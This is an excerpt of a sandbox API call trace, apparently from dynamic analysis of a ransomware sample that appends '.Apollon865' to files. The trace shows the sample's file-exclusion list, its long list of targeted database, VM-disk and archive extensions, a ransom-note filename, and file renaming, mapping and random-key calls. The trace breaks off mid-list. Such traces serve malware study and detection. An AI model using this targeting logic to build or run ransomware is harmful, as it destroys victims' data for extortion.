	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.656] lstrlenW (lpString="trm") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.656] lstrlenW (lpString="udb") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.656] lstrlenW (lpString="udl") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.656] lstrlenW (lpString="usr") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.657] lstrlenW (lpString="v12") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.657] lstrlenW (lpString="vis") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.657] lstrlenW (lpString="vpd") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.657] lstrlenW (lpString="vvv") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.657] lstrlenW (lpString="wdb") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.657] lstrlenW (lpString="wmdb") returned 4
	[0078.657] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.657] lstrlenW (lpString="wrk") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.657] lstrlenW (lpString="xdb") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.657] lstrlenW (lpString="xld") returned 3
	[0078.657] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.657] lstrlenW (lpString="xmlff") returned 5
	[0078.657] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.657] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.Apollon865") returned 71
	[0078.657] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.658] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.658] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=362) returned 1
	[0078.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.659] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.659] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.659] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.660] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0xd8
	[0078.662] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000
	[0078.663] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.663] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.663] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.664] CloseHandle (hObject=0xd8) returned 1
	[0078.664] CloseHandle (hObject=0x15c) returned 1
	[0078.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.664] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".") returned 1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="..") returned 1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="windows") returned -1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="temp") returned -1
	[0078.664] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="boot") returned 1
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.665] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
	[0078.665] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned 60
	[0078.665] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.POWERPNT.14.1033.hxn" | out: lpString1="MS.POWERPNT.14.1033.hxn") returned="MS.POWERPNT.14.1033.hxn"
	[0078.665] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
	[0078.665] lstrlenW (lpString="Apollon865") returned 10
	[0078.665] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.665] lstrlenW (lpString=".dll") returned 4
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".dll") returned 1
	[0078.665] lstrlenW (lpString=".lnk") returned 4
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.665] lstrlenW (lpString=".ini") returned 4
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".ini") returned 1
	[0078.665] lstrlenW (lpString=".sys") returned 4
	[0078.665] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".sys") returned 1
	[0078.665] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
	[0078.665] lstrlenW (lpString="bak") returned 3
	[0078.665] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.665] lstrlenW (lpString="ba_") returned 3
	[0078.665] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.665] lstrlenW (lpString="dbb") returned 3
	[0078.665] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.665] lstrlenW (lpString="vmdk") returned 4
	[0078.665] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.665] lstrlenW (lpString="rar") returned 3
	[0078.665] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.665] lstrlenW (lpString="zip") returned 3
	[0078.665] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.665] lstrlenW (lpString="tgz") returned 3
	[0078.665] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.665] lstrlenW (lpString="vbox") returned 4
	[0078.665] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.665] lstrlenW (lpString="vdi") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.666] lstrlenW (lpString="vhd") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.666] lstrlenW (lpString="vhdx") returned 4
	[0078.666] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.666] lstrlenW (lpString="avhd") returned 4
	[0078.666] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.666] lstrlenW (lpString="db") returned 2
	[0078.666] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.666] lstrlenW (lpString="db2") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.666] lstrlenW (lpString="db3") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.666] lstrlenW (lpString="dbf") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.666] lstrlenW (lpString="mdf") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.666] lstrlenW (lpString="mdb") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.666] lstrlenW (lpString="sql") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.666] lstrlenW (lpString="sqlite") returned 6
	[0078.666] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.666] lstrlenW (lpString="sqlite3") returned 7
	[0078.666] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.666] lstrlenW (lpString="sqlitedb") returned 8
	[0078.666] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.666] lstrlenW (lpString="xml") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.666] lstrlenW (lpString="$er") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.666] lstrlenW (lpString="4dd") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.666] lstrlenW (lpString="4dl") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.666] lstrlenW (lpString="^^^") returned 3
	[0078.666] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.667] lstrlenW (lpString="abs") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.667] lstrlenW (lpString="abx") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.667] lstrlenW (lpString="accdb") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.667] lstrlenW (lpString="accdc") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.667] lstrlenW (lpString="accde") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.667] lstrlenW (lpString="accdr") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.667] lstrlenW (lpString="accdt") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.667] lstrlenW (lpString="accdw") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.667] lstrlenW (lpString="accft") returned 5
	[0078.667] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.667] lstrlenW (lpString="adb") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.667] lstrlenW (lpString="adb") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.667] lstrlenW (lpString="ade") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.667] lstrlenW (lpString="adf") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.667] lstrlenW (lpString="adn") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.667] lstrlenW (lpString="adp") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.667] lstrlenW (lpString="alf") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.667] lstrlenW (lpString="ask") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.667] lstrlenW (lpString="btr") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.667] lstrlenW (lpString="cat") returned 3
	[0078.667] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.668] lstrlenW (lpString="cdb") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.668] lstrlenW (lpString="ckp") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.668] lstrlenW (lpString="cma") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.668] lstrlenW (lpString="cpd") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.668] lstrlenW (lpString="dacpac") returned 6
	[0078.668] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.668] lstrlenW (lpString="dad") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.668] lstrlenW (lpString="dadiagrams") returned 10
	[0078.668] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.668] lstrlenW (lpString="daschema") returned 8
	[0078.668] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.668] lstrlenW (lpString="db-journal") returned 10
	[0078.668] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.668] lstrlenW (lpString="db-shm") returned 6
	[0078.668] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.668] lstrlenW (lpString="db-wal") returned 6
	[0078.668] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.668] lstrlenW (lpString="dbc") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.668] lstrlenW (lpString="dbs") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.668] lstrlenW (lpString="dbt") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.668] lstrlenW (lpString="dbv") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.668] lstrlenW (lpString="dbx") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.668] lstrlenW (lpString="dcb") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.668] lstrlenW (lpString="dct") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.668] lstrlenW (lpString="dcx") returned 3
	[0078.668] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.669] lstrlenW (lpString="ddl") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.669] lstrlenW (lpString="dlis") returned 4
	[0078.669] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.669] lstrlenW (lpString="dp1") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.669] lstrlenW (lpString="dqy") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.669] lstrlenW (lpString="dsk") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.669] lstrlenW (lpString="dsn") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.669] lstrlenW (lpString="dtsx") returned 4
	[0078.669] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.669] lstrlenW (lpString="dxl") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.669] lstrlenW (lpString="eco") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.669] lstrlenW (lpString="ecx") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.669] lstrlenW (lpString="edb") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.669] lstrlenW (lpString="epim") returned 4
	[0078.669] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.669] lstrlenW (lpString="fcd") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.669] lstrlenW (lpString="fdb") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.669] lstrlenW (lpString="fic") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.669] lstrlenW (lpString="flexolibrary") returned 12
	[0078.669] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.669] lstrlenW (lpString="fm5") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.669] lstrlenW (lpString="fmp") returned 3
	[0078.669] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.669] lstrlenW (lpString="fmp12") returned 5
	[0078.669] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.670] lstrlenW (lpString="fmpsl") returned 5
	[0078.670] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.670] lstrlenW (lpString="fol") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.670] lstrlenW (lpString="fp3") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.670] lstrlenW (lpString="fp4") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.670] lstrlenW (lpString="fp5") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.670] lstrlenW (lpString="fp7") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.670] lstrlenW (lpString="fpt") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.670] lstrlenW (lpString="frm") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.670] lstrlenW (lpString="gdb") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.670] lstrlenW (lpString="gdb") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.670] lstrlenW (lpString="grdb") returned 4
	[0078.670] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.670] lstrlenW (lpString="gwi") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.670] lstrlenW (lpString="hdb") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.670] lstrlenW (lpString="his") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.670] lstrlenW (lpString="ib") returned 2
	[0078.670] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.670] lstrlenW (lpString="idb") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.670] lstrlenW (lpString="ihx") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.670] lstrlenW (lpString="itdb") returned 4
	[0078.670] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.670] lstrlenW (lpString="itw") returned 3
	[0078.670] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.671] lstrlenW (lpString="jet") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.671] lstrlenW (lpString="jtx") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.671] lstrlenW (lpString="kdb") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.671] lstrlenW (lpString="kexi") returned 4
	[0078.671] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.671] lstrlenW (lpString="kexic") returned 5
	[0078.671] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.671] lstrlenW (lpString="kexis") returned 5
	[0078.671] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.671] lstrlenW (lpString="lgc") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.671] lstrlenW (lpString="lwx") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.671] lstrlenW (lpString="maf") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.671] lstrlenW (lpString="maq") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.671] lstrlenW (lpString="mar") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.671] lstrlenW (lpString="marshal") returned 7
	[0078.671] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.671] lstrlenW (lpString="mas") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.671] lstrlenW (lpString="mav") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.671] lstrlenW (lpString="maw") returned 3
	[0078.671] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.671] lstrlenW (lpString="mdbhtml") returned 7
	[0078.671] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.671] lstrlenW (lpString="mdn") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.672] lstrlenW (lpString="mdt") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.672] lstrlenW (lpString="mfd") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.672] lstrlenW (lpString="mpd") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.672] lstrlenW (lpString="mrg") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.672] lstrlenW (lpString="mud") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.672] lstrlenW (lpString="mwb") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.672] lstrlenW (lpString="myd") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.672] lstrlenW (lpString="ndf") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.672] lstrlenW (lpString="nnt") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.672] lstrlenW (lpString="nrmlib") returned 6
	[0078.672] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.672] lstrlenW (lpString="ns2") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.672] lstrlenW (lpString="ns3") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.672] lstrlenW (lpString="ns4") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.672] lstrlenW (lpString="nsf") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.672] lstrlenW (lpString="nv") returned 2
	[0078.672] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.672] lstrlenW (lpString="nv2") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.672] lstrlenW (lpString="nwdb") returned 4
	[0078.672] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.672] lstrlenW (lpString="nyf") returned 3
	[0078.672] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.672] lstrlenW (lpString="odb") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.673] lstrlenW (lpString="odb") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.673] lstrlenW (lpString="oqy") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.673] lstrlenW (lpString="ora") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.673] lstrlenW (lpString="orx") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.673] lstrlenW (lpString="owc") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.673] lstrlenW (lpString="p96") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.673] lstrlenW (lpString="p97") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.673] lstrlenW (lpString="pan") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.673] lstrlenW (lpString="pdb") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.673] lstrlenW (lpString="pdm") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.673] lstrlenW (lpString="pnz") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.673] lstrlenW (lpString="qry") returned 3
